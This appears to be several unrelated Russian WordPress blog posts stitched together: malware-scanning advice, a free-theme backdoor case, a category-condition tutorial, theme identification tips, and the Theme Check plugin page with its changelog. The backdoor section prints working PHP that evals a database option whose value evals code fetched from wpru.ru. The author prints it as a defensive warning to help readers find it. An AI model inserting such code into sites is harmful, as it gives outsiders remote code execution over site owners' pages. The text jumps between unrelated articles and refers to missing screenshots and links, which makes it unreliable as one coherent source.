Периодическая проверка сайта на наличие вредоносных вирусов необходима, это первая заповедь любого уважающего себя веб-мастера. Даже если вы пользуетесь чистой темой Twenty Eleven, то не факт, что со временем она тоже не заразилась. Такое явление может происходить (и чаще всего происходит) из-за того, что сам движок WordPress предназначен изначально для публикаций он-лайн. Так что лишний раз провериться и сделать копию сайта и базы данных никогда не помешает.

Например, я (по прошествии какого-то времени, конечно) сделал для себя один вывод – нужен просто хороший хостер, и ваши проблемы с резервированием отпадут сами собой. Мне не нужно сейчас делать бекапы БД или сайта – все делает за меня хостер, причем в автоматическом режиме. В любое время при желании можно заказать копию любого раздела своего блога (и не только), скачать эту копию, или же восстановить блог прямо из панели управления. То есть, мне не нужно скачивать бекап, все происходит на автомате – резервирование, восстановление и т.д. Это удобно тем, что я могу не то что посуточно, а по часам отследить, когда на моем блоге появился вирус и, соответственно, принять меры по его устранению.

Начну с хорошей новости – по крайней мере, два плагина, которыми я пользовался, выдают хорошие результаты по обнаружению и локализации вредоносного кода. Это плагины AntiVirus и Exploit Scanner . Вы не поверите, сколько на вашем блоге вредного кода! Но не принимайте всю результирующую информацию после проверки за догму – много строк, которые эти плагины обнаруживают, на самом деле ничего плохого в себе не несут. Просто плагин ставит под сомнение какие-то строки, вот и все. Чтобы убедиться в этом, проверьте вручную те фрагменты, которые плагин определил, как вредоносные. Так, при проверке плагином AntiVirus оказалось, что даже простое обращение function get_cache_file () плагин уже считает подозрительным. Так что все результаты проверок придется отслеживать вручную. А вот это, например, действительно зараженная ссылка, и ее необходимо убирать:

Как узнать, вирус это или так и должно быть? Все очень просто – сравниваете ваш чистый шаблон (если есть), и сравниваете его (пофайлово) с тем, который установлен и уже претерпел какие-то изменения. Необязательно прямо так буквально проводить сравнение, просто поиском проверьте, есть ли в вашем чистом шаблоне та строка, которую выделил плагин. Если есть – жмите кнопку «Это не вирус», и при следующей проверке эта строка не будет учитываться.

А вот пример второго опробованного плагина — Exploit Scanner

Как видите, здесь все гораздо запущеннее. Для меня такой результат был шокирующим. Но и это еще не все. В плагине существует такая функция, как проверка . Так вот, если ее включить, то получится, что блог должен состоять из текста и максимум, из пары CSS таблиц. Так что, мне кажется, с безопасностью здесь автор плагина явно перестарался. Хорошо еще, что плагин просто показывает предполагаемые зараженные фрагменты, а не чистит их.

Проанализировав все выделенные желтым цветом строки, вы легко обнаружите malware (вредоносный код), ну, а что с ним делать дальше – решайте сами. Способ чистки все тот же – сравниваете выделенный код с бекапом сайта (см. ) и, если нашли расхождения – выявляйте, то ли это сделали вы сами, то ли кто-то за вас, а значит, это уже не есть хорошо и может оказаться вирусом. Даже разработчики WordPress советуют проводить проверку сайта на наличие вредоносного кода именно этим плагином. Но существуют такие безобидные вставки, например, в тело iframe, которые плагин тоже может определить, как зараженный код. Но на самом деле без этих строк этот участок вашего блога не будет работать правильно.

Как вообще malware может попасть в файлы блога и что это такое по определению? Слово malware значит буквально — злонамеренное программное обеспечение , от английского malicious software. Это любой софт, который может быть использован для несанкционированного доступа к сайту и его содержимому. Вы, наверное, представляете себе, что для подготовленного по-среднему хакера взломать сайт не составит труда, особенно после регистрации. После этого можно контент блога модифицировать как угодно – было бы образование.

Вредоносный malware можно вставить и в плагины, которые вы устанавливаете из неизвестного источника, и в скрипты, которые вы также иногда берете, не проверив, а доверившись автору. Самый безобидный malware – это ссылка на автора какого-либо модуля, который вы установили на сайт. И если автор сам не предупредил вас о том, что такая ссылка существует, то это уже чистой воды вирус.

Так, я устанавливал на тестовом блоге новую тему, и после удаления одной безобидной ссылочки на какой-то там мужской клуб в подвале сайта, он перестал вообще открываться, а на главной появилась надпись – «Вы не имеете права удалять ссылки». Вот тебе и бесплатная тема. О том, как выдирать такие левые ссылки, можете почитать .

Ваша БД тоже может быть использована для запуска вирусосодержащего кода. Спамерские ссылки тоже очень часто добавляются в записи или комментарии. Такие ссылки обычно скрываются при помощи CSS так, что неопытный администратор их не видит, но поисковая система их различает сразу. Конечно, здесь уже вступает в борьбу любой антиспам, например, тот же , который лицензирован, проверен и перепроверен много раз. Хакер может загружать файлы с расширениями файлов изображений, и добавлять их в код ваших активированных плагинов. Поэтому, даже если файл и не имеет расширение php, код в этом файле может быть запущен в действие.

Есть еще один простенький инструмент, с которого я начинал знакомство с malware – плагин Theme Authenticity Checker (TAC). Это легкий и достаточно действенный инструмент, но он проверяет только ваши темы, причем даже неактивные. Остальные директории он не трогает, и в этом его минус. Вот что дала мне проверка моей текущей темы этим плагином:

Два предупреждения в активной теме, и больше ничего. Вредоносного кода нет. Кстати, это те ссылки, которые я вставил сам по совету Google — для улучшения качества сниппета (вывод личных данных, адрес организации и т.д.). Но это только проверка файлов темы, а что делается в других директориях, вам придется узнавать или при помощи других плагинов, или он-лайн сервисами. Например, такой сервис (уж он-то заслуживает доверия), как Вебмастер Яндекса или аналогичный в Google. Они имеют функцию проверки любого веб-ресурса на наличие вредоносных вкраплений, и делают это качественно. Но если вам и этого мало, то сравнивайте результаты с результатами на других сервисах и делайте выводы.

Почему-то хочется верить Яндексу, а не плагинам. Еще один неплохой ресурс — http://2ip.ru/site-virus-scaner/. После проверки одного своего блога здесь вот что обнаружилось:

Здесь же вы можете проверить и отдельные файлы на наличие вредоносного кода, если у вас закрались такие сомнения. В общем, сервис неплохой.

Из всего сказанного я бы сделал такие выводы:

1. Чтобы не допустить появления вредоносного кода, нужно прежде всего пользоваться проверенными сервисами для закачки файлов – плагинов, тем и т.д.

2. Регулярно делать резервные копии всего, что содержит сайт – базы данных, контента, админпанели, закачанных сторонних файлов в том числе.

3. Пользоваться обновлениями, которые предлагает WordPress. Они, по крайней мере, не содержат вирусов, хотя и не всегда функционально оправданы. Но обновившись, вы тем самым удаляете возможно присутствующие вирусы.

4. Неиспользуемые темы, плагины, изображения и файлы удаляйте без сожаления – это еще один запасной вход для malware, о котором вы можете и не догадаться никогда.

5. Хорошенько запарольте свои FTP–доступы, вход в PhpAdmin, в панель администратора и вообще туда, куда никто, кроме вас, не должен иметь доступа.

6. Постарайтесь (даже если это желание у вас огромное, как небо) не изменять и не заменять файлы ядра WordPress – разработчики лучше знают, что и как должно работать.

7. После обнаружения и удаления вирусов поменяйте все пароли. Я думаю, у вас появится огромное желание сделать пароль из 148 символов в разных регистрах и со спецсимволами. Но не увлекайтесь слишком сложными паролями, можете потерять его, и тогда придется все восстанавливать, что не очень приятно.

Все эти методы и компоненты, которые я описал, и которые помогут вам избавиться от вирусов, конечно, бесплатные, конечно, почти самодельные, и конечно, не дают 100% гарантии того, что ваш сайт будет очищен от вредоносных вставок. Поэтому, если уж вы озаботились чисткой блога, то лучше обратитесь к профессионалам, например, в сервис Sucuri (http://sucuri.net/). Здесь ваш сайт хорошенько отмониторят, дадут практические рекомендации, которые вам вышлют письмом, а если вы не хотите заниматься чистой сайта самостоятельно, то к вашим услугам специалисты, которые в течение 4 часов сделают все в лучшем виде:

Ну, вот как-то так выглядит мой тестовый блог после мониторинга, и это при том, что другие методы (доморощенные) всегда показывают разные результаты. Как видите, тест бесплатный, но в случае обнаружения вирусов вам стоит заплатить за их устранение без вреда для сайта (если вы, конечно, не гуру по очистке блога от malware).

Еще раз подчеркну – хакеры не дремлют, модернизация вирусов происходит постоянно, и самостоятельно за всем уследить невозможно. Все нововведения настолько тщательно скрываются и маскируются, что выявить их может только команда! профессионалов, а не блогер-самоучка, которыми многие являются. Поэтому ручное обнаружение и удаление malware так малоэффективно: нет опыта – нет результата, зато есть вирус. Используйте лицензионные программы и доверьте устранение опасности профессионалам

Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

Думаете, прогнали шаблон через , удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: «Вредоносный код на сайте не обнаружен «.

Вот и я так думал. Не хотел бы вас расстраивать, но…

Скрытый опасный код в бесплатных шаблонах WordPress

Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить — вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему — мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало — здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. — в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

И вот что они мне ответили

Пошел гуглить инфу о данном коде и серьезно задумался…

Как найти фрагмент вредоносного кода в шаблоне

Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода :

add_filter(‘the_content’, ‘_bloginfo’, 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
return $co;
} else return $content;
}

Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию. И в ней находим заинтересовавшую нас строку под названием blogoption

Какая красота! Мы видим следующую опцию

return eval(file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$post->ID.’&m=47&n’));

Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией — вместо какой-либо точки «.» в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

Мораль про бесплатный сыр

Как вам изощренность наших «переводчиков» шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно )

Представим, что Вы выводите записи и нужно изменить внешний вид в зависимости от рубрики. Например, у Вас есть блок "ОБ АВТОРЕ" который выводит информацию об авторе статьи, но вы не хотите видеть этот блок например под записями из рубрики в которой это не нужно. Так же можно отключать комментирование в определенных рубриках, вывод миниатюр и тд. Все зависит от Ваших нужд и фантазий. Лично я очень часто пользуюсь таким условием.

Чтобы отфильтровать записи в зависимости от рубрики поможет функция - in_category() . Данная функция делает проверку на то принадлежит ли текущая или заданная запись к нужной рубрике, ну или нескольким рубрикам. Чаще всего данная функция выводится в файле single.php , потому как он и отвечает за вывод записей.

Простейший способ использования функции, будет выглядеть примерно следующим образом. Добавляем данный код в файл single.php, при необходимости заключаем в PHP теги.

PHP теги выглядят так:

Если у Вас в теме используется в основном HTML код, то вставляйте код приведенный ниже без изменений. Если используется в основном PHP, то теги в которые заключен код можно удалить.

В данном коде мы задали условие, что если текущая запись принадлежит к рубрике с ID - 12, то нужно что-то вывести. То что хотите, добавляете внутрь фигурных скобок. Это должен быть PHP код, если это сложно и нужно добавить HTML код, то разорвите код теми же PHP тегами и код станет таким:

//сюда пишем обычный HTML код или просто текст.

Чтобы определить айди рубрик, нужно в админке перейти в список рубрик и навести курсором на нужную. Внизу окна браузера с правой стороны появится ссылка внутри которой будет что-то типа ID=1, то есть айди этой рубрики 1.

Если Вам нужно указать несколько рубрик, то укажите их через запятую. Так же Вам может быть нужно создать условие "ЕСЛИ - ТО", тогда код будет примерно таким:

Представьте, что Вам нужно выводить в рубрике 12 миниатюру записи, а в остальных записях из других рубрик - первую картинку из текста. Такое бывает и как это сделать? С помощью приведенного кода Выше. Про вывод первого изображения из записи можно прочитать в статье -

Теперь хочу показать еще одну возможность, которую можно добавить к данной функции. Так бывает что у рубрик есть подрубрики, то есть дочерние категории. И если запись принадлежит к одной из подрубрик, то условие обойдет ее. Если Вам это и нужно, то можете ничего не трогать, но вот если, все же условие должно работать и на подрубрики, то нужно добавить к условию дополнение. Для начала в само условие нужно добавить такую часть - || post_is_in_descendant_category(12) . Это вызов нашей новой функции, которая будет осуществлять проверку по подрубрикам. Готовый код станет таким:

Чтобы новая функция начала работать, нужно добавить сам код этой функции, то есть ее нужно написать. Для этого, найдите в папке с активной темой файл function.php , в котором находятся пользовательские функции. Добавлять код, если вы не знакомы с PHP, нужно в самый конец файла, но если там есть закрывающий PHP тег - ?> , то добавлять нужно перед ним. Сам код выглядит так:

Function post_is_in_descendant_category($cats, $_post = null) { foreach ((array) $cats as $cat) { // get_term_children() accepts integer ID only $descendants = get_term_children((int) $cat, "category"); if ($descendants && in_category($descendants, $_post)) return true; } return false; }

Если все сделано правильно, то ваше условие будет отбирать записи по определенным рубрикам и их подрубрикам.

Давненько начал писать данную статью, да все руки не доходили закончить, то одно, то второе перебивало. Наконец-то статья окончена и возможно многим поможет решить вопрос.

На этом все, спасибо за внимание. 🙂

Вас когда-то интересовало, какую тему оформления использует тот или иной сайт?

Часто в поисках идеальной темы мы смотрим на уже другие реализованные проекты, чтобы найти что-то похожее или сделать свой сайт на такой же теме, только со своим индивидуальным оформлением.

В этом уроке мы покажем, какие инструменты и трюки можно применить, чтобы узнать, какую тему оформления использует этот сайт на WordPress.

Способ 1. Сайт проверки IsItWP

Самый простой способ - это зайти на isitwp.com и проверить там сайт, который вас интересует.

Это онлайн-инструмент, который покажет вам, какую тему использует WordPress, и используется ли вообще WordPress на этом сайте.

Если на сайте стоит WordPress, IsItWP попытается узнать имя текущей темы оформления.

Также он попытается узнать, какие активные плагины используются на сайте:

Если вам повезло, и это не кастомная или дочерняя тема, то IsItWP выдаст ее название, и дальше вы можете найти эту тему в поисковиках.

Способ 2. Определяем вручную

Иногда владельцы сайта или разработчики меняют название родной WordPress темы. В таком случае инструменты вроде IsItWP не смогут вам помочь.

Но даже если так, в коде сайта все равно могут остаться разные подсказки, которые помогут вычислить, что же за тема установлена.

Давайте посмотрим.

Каждая тема оформления WordPress обязана иметь файл style.css . Этот файл содержит внутри заголовок (header), в котором, как правило, указано имя темы, автор темы, версия и сайт-разработчик темы. Также там указываются другие шаблоны css-стилей, которые использует тема.

Чтобы найти этот файл, для начала нужно зайти на сам сайт. Кликните правой кнопкой где-то на главной странице и перейдите к просмотру исходного кода (View Page Source ).

В браузере в новой вкладке откроется исходный код главной страницы сайта.

Теперь вам нужно найти строчку кода, которая выглядит примерно так:

Чтобы облегчить задачу, можно выполнить Поиск по этой вкладке с кодом по фрагменту "themes ". Это часть из директории, где лежит style.css .

Таким образом вы найдете путь, по которому лежит файл style.css, и сможете открыть этот файл прямо в браузере в новой вкладке.

В верхней части style.css будет находиться шапка с заголовком (о котором мы говорили выше). Это сервисная информация о теме оформления. Выглядит это примерно так:

/* Theme Name: Theme Name Theme URI: https://example.com Author: ThemeAuthorName Author URI: https://example.com Description: My Theme is a flexible WordPress theme designed for portfolio websites Version: 1.1.47 License: GNU General Public License v2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Text Domain: hestia Tags: blog, custom-logo, portfolio, e-commerce, rtl-language-support, post-formats, grid-layout, one-column, two-columns, custom-background, custom-colors, custom-header, custom-menu, featured-image-header, featured-images, flexible-header, full-width-template, sticky-post, theme-options, threaded-comments, translation-ready */

Из этого блока вы сможете узнать название темы и адрес разработчика. Дальше остается только найти эту тему в интернете.

Способ 3. Как найти родительскую тему

Многие сайты используют дочерние темы для пользовательской настройки оформления. И это вполне правильный подход.

В таком случае, если вы отыскали файл style.css от дочерней темы, в его шапке будет указана информация о родительской теме:

/* Theme Name: My Child Theme Description: Just a child theme Author: Peter Smith Author URL: Write here the author"s blog or website url Template: hestia Version: 1.0 License: GNU General Public License v2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Text Domain: my-child-theme */

В примере выше на родительскую тему указывает параметр "Template ", то есть для этой дочерней темы используется родительская тема "Hestia".

Также о родительской теме можно узнать из исходного кода, описанного в Способе 2. В коде вы найдете отсылку к файлу style.css не только от дочерней темы, но и от родительской темы.

Но не забывайте, что разработчик мог постараться и изменить все заголовки для style.css на свои, в таком случае определить оригинал темы будет очень сложно.

The theme check plugin is an easy way to test your theme and make sure it’s up to spec with the latest theme review standards. With it, you can run all the same automated testing tools on your theme that WordPress.org uses for theme submissions.

The tests are run through a simple admin menu and all results are displayed at once. This is very handy for theme developers, or anybody looking to make sure that their theme supports the latest WordPress theme standards and practices.

Как активировать форматирование trac

The Theme Review team use this plugin while reviewing themes and copy/paste the output into trac tickets, the trac system has its own markup language.
To enable trac formatting in Theme-Check you need to define a couple of variables in wp-config.php:
TC_PRE and TC_POST are used as a ticket header and footer.
Examples:
define(‘TC_PRE’, ‘Theme Review:[]
— Themes should be reviewed using «define(\’WP_DEBUG\’, true);» in wp-config.php[]
— Themes should be reviewed using the test data from the Theme Checklists (TC)
——
‘);

Define("TC_POST", "Feel free to make use of the contact details below if you have any questions, comments, or feedback:[] [] * Leave a comment on this ticket[] * Send an email to the Theme Review email list[] * Use the #wordpress-themes IRC channel on Freenode.");

If either of these two vars are defined a new trac tickbox will appear next to the Check it! button.

Часто задаваемые вопросы

The version number is the date of the revision of the guidelines used to create it.

Why does it flag something as bad?

It’s not flagging «bad» things, as such. The theme check is designed to be a non-perfect way to test for compliance with the Theme Review guidelines. Not all themes must adhere to these guidelines. The purpose of the checking tool is to ensure that themes uploaded to the central WordPress.org theme repository meet the latest standards of WordPress themes and will work on a wide variety of sites.

Many sites use customized themes, and that’s perfectly okay. But themes that are intended for use on many different kinds of sites by the public need to have a certain minimum level of capabilities, in order to ensure proper functioning in many different environments. The Theme Review guidelines are created with that goal in mind.

This theme checker is not perfect, and never will be. It is only a tool to help theme authors, or anybody else who wants to make their theme more capable. All themes submitted to WordPress.org are hand-reviewed by a team of experts. The automated theme checker is meant to be a useful tool only, not an absolute system of measurement.

This plugin does not decide the guidelines used. Any issues with particular theme review guidelines should be discussed on the Make Themes site .

Отзывы

This is a great plugin for everyone that really likes to develop a WordPress theme and make successfully tests for the basic WordPress standards. The errors separated in "Required", "Warning", "Recommended" and "info". Also provide the basic information of this error and makes you understand where the problem is.

Участники и разработчики

«Проверка темы» - проект с открытым исходным кодом. В развитие плагина внесли свой вклад следующие участники:

Журнал изменений

20190801.1

• Fix missing nonce and nonce check on admin page. props Steven Stern for reporting the issue to the plugins team. Though this is technically a CSRF, there is no vulnerability arising from it, as the only thing that could be done with the form is to scan a theme.

20190208.1

• Add new styles for the block editor. See https://meta.trac.wordpress.org/ticket/3921

20160523.1

• Fix for theme-names with dashes in them
• Comments stripping changes
• Many changes by the theme review team and others. See Github for full change list.

20151211.1

• Full sync with Github and all the changes that have happened there.
• Release for 4.4 deprecated functions.

20140929.1

• Added new checks and updates from Frank Klein at Automattic. Thanks Frank!
• Updated deprecated function listings
• Customizer check: All add_settings must use sanitization callbacks, for security
• Plugin territory checks: Themes must not register post types or taxonomies or add shortcodes for post content
• Widgets: Calls to register_sidebar must be called from the widgets_init action hook
• Title: tags must exist and not have anything in them other than a call to wp_title()
• CDN: Checks for use of common CDNs (recommended only)
• Note: Changed plugin and author URIs due to old URIs being invalid. These may change again in the future, the URIs to my own site are temporarily only.

20131213.1

• Corrected errors not being displayed by the plugin and it incorrectly giving a «pass» result to everything.

20131212.1

• Updated for 3.8
• Most files have changed for better I18N support, so the language files were removed temporarily until translation can be redone.

20121211.1

• Updated for 3.5
• Remove Paypal button.

20110805.1

• TimThumb checks removed.
• Screenshot now previewed in results, with filesize and dimensions.

20110602.2

• New file list functions hidden folders now detectable.
• Better fopen checks.
• TimThumb version bump

20110602.1

• DOS/UNIX line ending style checks are now a requirement for proper theme uploading.
• Timthumb version bump
• Several fixes reported by GaryJ
• 3.2 deprecated functions added

20110412.1

• Fix regex’s
• Added check for latest footer injection hack.
• Fix tags check to use new content function correctly
• Sync of all changes made for wporg uploader theme-check.
• Updated checks post 3.1. added screenshot check to svn.
• Fix links check to not return a false failure in some cases
• rm one of the checks that causes problems on wporg uploader (and which is also unnecessary)
• Move unneeded functions out of checkbase into main.php.
• Minor formatting changes only (spacing and such)
• Add check for wp_link_pages() + fix eval() check

20110219.2

• Merged new UI props Gua Bob
• Last tested theme is always pre-selected in the themes list.
• Fixed php error in admin_menu.php

20110219.1

• See commit log for changes.

20110201.2

• UI bug fixes forum post props Mamaduka.
• Textdomain checks for twentyten and no domain.
• Fix div not closing props Mamaduka.

20110201.1

• i18n working
• sr_RS de_DE ro_RO langs props Daniel Tara and Emil Uzelac.
• Child theme support added, checks made against parent AND child at runtime.
• Trac formatting button added for reviewers.

20101228.3

• Last revision for 3.1 (hopefully)
• Chips suggestion of checking for inclusion of searchform.php (not
  perfect yet, need more examples to look for).
• add_theme_page is required, all others flagged and displayed with line
  numbers.
• Mostly internationalized, needs translations now.
• Bug fixes.

20101228.2

• Added menu checking.
• ThemeURI AuthourURI added to results.
• Lots of small fixes.
• Started translation.

20101228.1

• Fix embed_defaults filter check and stylesheet file data check.

20101226.1

• Whole system redesign to allow easier synching with WordPress.org uploader. Many other additions/subtractions/changes as well.
• WordPress 3.1 guidelines added, to help theme authors ensure compatibility for upcoming release.

20101110.7

• Re-added malware.php checks for fopen and file_get_contents (INFO)
• fixed a couple of undefined index errors.

20101110.4_r2

• Fixed Warning: Wrong parameter count for stristr()

20101110.4_r1

• Added echo to suggested.php

20101110.4

• Fixed deprecated function call to get_plugins()

20101110.3

• Fixed undefined index.

20101110.2

• Missing < in main.php
• Added conditional checks for licence.txt OR Licence tags in style.css
• UI improvements.